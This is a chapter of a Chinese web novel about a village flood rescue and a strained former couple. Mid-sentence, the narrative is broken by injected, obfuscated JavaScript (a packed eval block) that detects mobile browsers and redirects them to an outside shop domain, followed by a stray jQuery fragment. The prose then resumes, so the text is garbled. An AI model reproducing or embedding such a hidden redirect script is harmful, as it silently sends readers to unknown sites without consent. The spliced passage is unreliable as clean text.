默认冷灰
24号文字
方正启体

11. 救灾

作者:牟纳本书字数:K更新时间:
    安时年走回去,正好遇上贺春生和白村长争执,两人吵得不可开交。


    周围人都不敢靠近他们,远远忙着自己手里的事。


    “那是她的舅舅。”方慈的声音从身侧传来。


    安时年愣了一下,顺着他的目光看向两人,“白村长是贺穗的舅舅?”


    “不是,另一个,”方慈摇了摇头,“穿黑雨衣的那个,贺春生是贺穗的舅舅。”


    安时年反应过来,贺春生是贺全涛的父亲,这么算下来,贺穗和贺全涛是表姐弟,怪不得两人亲近些,原来还有这层亲戚关系。


    村长两人的争执还在继续,贺春生的情绪越来越激动,紧紧攥着白村长的胳膊。


    安时年见状,先上去拉开他的手,安抚道:“贺叔叔,您冷静一下。”


    “冷静个屁!”


    他猛地向前冲去,正好让安时年拦腰抱住,另一边的白村长则是被方慈拉住。


    贺春生扒着安时年的手臂,喊道:“白老头,我姐可就剩这一个丫头,她出个什么事,我第一个饶不了你!我咒你家祖宗十八辈儿!”


    白村长苦劝道:“小穗是有经验的,她也不是小孩子了,你该放心她,也是帮村子的大好事嘛。”


    贺春生听了话更激动,差点让安时年拦不住,“放你屁的心,别在这儿扣大帽子,大好的事情,你怎么不让你家儿子干?!”


    他摔了帽子,吐了烟,掰着安时年的胳膊往前挤,“你放开我!”


    “冷静冷静,贺叔叔。”


    贺春生正在气头,劈头盖脸一顿骂,连安时年都不能幸免。


    “我知道您着急,可是贺穗已经上去了。”


    “什么?!”


    贺春生顺着安时年指着的方向看去,贺穗的车刚好走到半山腰,在她后面跟着的是大大小小的摩托。


    山体被这一排排的灯光打得透亮。


    在他们的上空,一小块的红光闪烁,随着起飞。


    安时年定睛看着空中飞动的小点,越来越近。


    越来越具象。


    直到悬飞转动的叶片声越来越响。


    安时年才看明白那是航拍的无人机,躲也无用,毕竟镜头直直对着他已经拍了好一会儿。


    “白老头,等她下来我再找你算账。”


    贺春生指了指白村长,恶狠狠地把话说完才走。


    安时年定睛看着贺穗的车一步步往前挪,前明村的热度太高,如果不尽快解决灾情,会在网上发酵到一种不可控制的地步。


    “你问了吗?”


    安时年转头问向方慈。


    他想确认贺穗的状态、位置,像这样远远观察的不可控,也让他把心提起来。


    作为一个勉强连志愿者都算不上的人,连直接用对讲机过问的权力都没有。


    方慈和山外的通完电话,匆匆拿起对讲机向贺穗发问。


    “怎么样,怎么样,一切顺利吗?”


    两人盯着一声不吭的对讲机。


    良久。


    才传来贺穗的声音。


    “顺利。”


    她的声音这次夹杂着对讲机粗糙的电流声,仍听得出她的冷静。


    安时年第一次期待她的声音,聚精会神地听一个人的音色。


    贺穗说话没有口音,干净,沉稳,还不说多余的话。


    一如既往胜券在握的沉稳。


    安时年轻轻舒口气,眉头也不像刚才那样紧张。


    方慈:“你不用担心,山外的救援队在后面做助推,你和里面的车接上之后,发车的时候说一声,前后一起用力会好些,不要紧张,做做深呼吸,手出汗了就擦擦,别害怕,我就在下面看着呢,会给你加油助威的。”


    方慈正事说完洋洋洒洒又说了一堆,他什么心思简直跟明镜一样。


    连安时年都看得出来。


    ……


    这次对讲机安静的时间比刚才长多了。


    安时年和方慈之间简直像是一阵冷风吹过,野草卷着飞。


    对讲机吱吱呀呀,一段乱码电流里飞出来三个字。


    “知道了。”


    “噗——”


    安时年一时没忍住,偷笑一声,在方慈看过来的瞬间又抿上了嘴。


    不注意看了方慈几眼,安时年还是没忍住大笑起来。


    在他的笑声里方慈泄了气,弓着身子翻了个大大的白眼。


    安时年收了笑劲儿,肩膀撞过来,“看来有感情基础也没什么用嘛。”


    方慈低眉顺气地看着手里的对讲机。


    树一般大的人拱起眉头,摆出一副委屈像,明明安时年才是岁数小的,每次在方慈面前说起贺穗,倒是方慈先扮上弟弟了。


    “你别整这套,”安时年好像被吓住,稍稍往后退了半步,“小女孩哭我都哄不来,更别说大男人。”


    周围的人都看着山腰的灯光照亮整个山间,树叶摇动,悉悉索索的声响逐步加重。


    方慈手插着腰,叹了一声道:“我错过了她的时间,错过了她这六年经历的一切,不是她变了,是该我重新认识她,怪我。”


    他抬眼看过来,硬朗的脸上眉毛一边上一边下,看着像是全无办法的叹息。


    方慈惆怅,纠结,六年前为了学业舍弃的那份爱情,以为释然,却在出现回国机会的时候,再一次想起她。


    重逢时,过往的回忆在脑海中出现的那刻,他就明白,那份情谊他从没有放下。


    安时年问道:“你们分手六年了,在她获奖前?”


    “不是,获奖后,初冬吧,正好赶上那年第一场雪。”


    冬天?


    岂不是那一年她获了奖,母亲过世,还分了手,也就几个月的时间,不知道她怎么熬过来的。


    安时年不可置信地看看山头一成不变的灯光,又看看身边这大高个。


    有没有人陪陪她呢?


    他想了想。


    “为什么分手?贺穗提的?”


    方慈一时没有回答,等他低下了头,才开口道:“我提的。”


    安时年难料到地轻笑一声,“你可真行。”


    “当时年轻,既然有国外深造的机会,肯定要去,两人的发展规划不能相交就走散了。”


    “那你怎么回来了,因为工作?”


    “当然不是,是因——”


    “因为你放不下她,你还爱她,对吗?”


    安时年接上他的话茬,脱口而出一些老套台词。


    词老套意思还是一样的,方慈没什么辩解地,老老实实说:“对。”


    “那你早六年干什么去了,就算留学,是不能假期回来,还是她不能去?谈了那么久,你说分就分了,现在倒是知道回来谈喜欢。”


    有点情谊都不至于分的这样彻底,就算现在漂亮话说全了,都听得出曾经的方慈做了不回国的打算。


    现在方慈的不语。


    在印证那几分漂亮话的真假。


    前途与爱人之间做取舍,安时年也能理解,毕竟不是


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372333|199976||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    每一个人都有后路可走,可把前途改道的大事说成是爱人的原由,他不理解。


    爱说得比做得重,那就是一条埋在地下的导火索。


    更不要说已经分手这么多年,两情相悦走成了方慈的单相思。


    再想要回到过去,鸿沟就算合上了也会有裂纹。


    “方慈。”


    贺穗的声音又一次出现在对讲机里。


    “我在。”


    方慈第一时间回应。


    安时年看看山间,听着身后对讲机里贺穗对方慈说起的情况。


    想来是刚才贺春生骂得太深入人心。


    他低声在自己也说不清的腔调里喃喃一句。


    “在个屁。”


    方慈联系着山外的人员与贺穗.


    他叮嘱道:“等他们把带子绑好后,你把方向往右边的斜坡打,记住,只要小货车的驾驶座出来就行。”


    “好。”


    “注意安全。”


    从下往上看去,看得见摩托上的师傅在帮车系带子,也看得见贺穗的白车稳稳地停在山间。


    安时年在山下等着,虽说相信贺穗尽在掌握,看这么高的山还是有些不安。


    远处的无人机在环着山飞。


    “那是哪个媒体的无人机?”


    安时年指了指,问向方慈。


    “官媒的,在做救援直播。”


    直播?


    安时年来了兴趣,猛冲过来,“现在能看到吗?”


    “可以啊,信号刚修好。”


    安时年看了看他,伸手道:“手机借我下。”


    “你的呢?”


    “早没电关机了。”


    方慈不情不愿地点开直播,递过去。


    前明村的救援直播在线人数超过十万人,无人机的视角直拍着贺穗的车,看到她下了车和后面的摩托师傅一起绑带子。


    她一顶亮白色的头盔在整个人群里穿梭,十分显眼。


    “你回车上去,别乱跑。”


    方慈从对讲机里说着。


    安时年拿着手机把贺穗的动态看得清清楚楚,她拿起对讲机后左右看了看,在找究竟从哪里看见的。


    “我得下车看看情况。”


    她才说完,猛地回头看向无人机,用手指了指。


    安时年抿嘴笑着,“她肯定发现我们了。”


    “你们两个能不能干点正事。”


    果不其然,贺穗一说就说两个人。


    “你看,我说对了。”


    安时年指着对讲机笑道。


    “这边都安排好了,你们准备一下。”


    画面里贺穗上了车,直播的画面也换了一角,拍向山外镇子,人山人海,灯火通明。


    都在为这片被迫成为世外桃源的村子努力着。


    网上讨论量持续升高,安时年顺手搜了搜词条。


    白天发的视频还是一样褒贬不一。


    很多粉丝截屏了直播的帖子,是安时年发现无人机时正好被拍了下来。


    【我去,他去现场了?】


    【他就在那里,怎么着都在场吧……】


    【这地方偏得都没人拍,只能从官媒上找他了】


    【什么时候能通路啊!!送救援物资也进不去!】


    安时年拿着方慈的手机,打了俩字:快了。


    回递给方慈。


    夜里的小雨早就停下,他抬头和方慈一起看着山间贺穗的车灯。


    缓缓地动了起来。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)